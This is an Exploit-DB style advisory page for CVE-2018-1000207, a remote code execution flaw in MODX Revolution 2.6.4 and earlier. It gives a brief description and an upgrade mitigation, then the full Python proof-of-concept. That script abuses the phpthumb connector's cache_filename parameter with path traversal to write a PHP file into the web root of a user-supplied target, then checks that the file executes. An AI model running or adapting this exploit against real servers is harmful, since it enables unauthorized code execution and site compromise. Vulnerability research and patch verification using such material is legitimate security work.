Modx Revolution < 2.6.4 - Remote Code Execution

vendor:

Modx Revolution

by:

Vitalii Rudnykh

7.2

CVSS

HIGH

Remote Code Execution

CWE

Product Name: Modx Revolution

Affected Version From: <= 2.6.4

Affected Version To: None

Patch Exists: YES

Related CWE: CVE-2018-1000207

CPE: a:modx:modx_revolution:2.6.4

Metasploit: N/A

Other Scripts: N/A

Platforms Tested: None

2018

Modx Revolution < 2.6.4 - Remote Code Execution

Modx Revolution version 2.6.4 and below is vulnerable to Remote Code Execution. An attacker can exploit this vulnerability by sending a malicious payload to the vulnerable server via the 'ctx' parameter in the 'connectors/system/phpthumb.php' file. This payload will create a new file 'payload.php' in the root directory of the server. The attacker can then access the file to execute arbitrary code on the vulnerable server.

Mitigation:

Upgrade to Modx Revolution version 2.6.5 or later.

Source

Exploit-DB raw data:

# Exploit Title: Modx Revolution < 2.6.4 - Remote Code Execution
# Date: 2018-07-13
# Exploit Author: Vitalii Rudnykh
# Vendor Homepage: https://modx.com/
# Version: <= 2.6.4
# CVE : CVE-2018-1000207

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
import sys
import os
import requests
from colorama import init, Fore, Style
try:
    init()

    def cls():
        os.system('cls' if os.name == 'nt' else 'clear')

    cls()

    print(Fore.BLUE +
          '################################################################')
    print(Fore.CYAN +
          '# Proof-Of-Concept for CVE-2018-1000207 (Modx Revolution)')
    print('# by Vitalii Rudnykh')
    print('# Thanks by AgelNash')
    print('# https://github.com/a2u/CVE-2018-1000207/')
    print(Fore.BLUE +
          '################################################################')
    print('Provided only for educational or information purposes')
    print(Style.RESET_ALL)
    target = input('Enter target url (example: http(s)://domain.tld/): ')

    verify = True
    code = '<?php echo md5(\'a2u\'); unlink($_SERVER[\'SCRIPT_FILENAME\']);?>'

    if requests.get(
            target + '/connectors/system/phpthumb.php',
            verify=verify).status_code != 404:
        print(Fore.GREEN + '/connectors/system/phpthumb.php - found')
        url = target + '/connectors/system/phpthumb.php'
        payload = {
            'ctx': 'web',
            'cache_filename': '../../payload.php',
            'useRawIMoutput': '1',
            'src': '.',
            'IMresizedData': code,
            'config_prefer_imagemagick': '0'
        }

        r = requests.post(url, data=payload, verify=verify)
        check = requests.get(target + 'payload.php', verify=verify)
        if check.text == '9bdc11de19fd93975bf9c9ec3dd7292d':
            print(Fore.GREEN + 'Exploitable!\n')
        else:
            print(Fore.RED + 'Not exploitable!\n')
    else:
        print(Fore.RED + 'phpthumb.php - not found')

    if requests.get(
            target + '/assets/components/gallery/connector.php',
            verify=verify).status_code != 404:
        print(Fore.GREEN + '/assets/components/gallery/connector.php - found')
        url = target + '/assets/components/gallery/connector.php'

        payload = {
            'action': 'web/phpthumb',
            'f': 'php',
            'useRawIMoutput': '1',
            'IMresizedData': 'Ok',
            'config_prefer_imagemagick': '0'
        }
        r = requests.post(url, data=payload, verify=verify)
        if r.text == 'Ok':
            print(Fore.GREEN + 'Exploitable!\n')
        else:
            print(Fore.RED + 'Not exploitable!\n')

    else:
        print(
            Fore.RED + '/assets/components/gallery/connector.php - not found')

except KeyboardInterrupt:
    cls()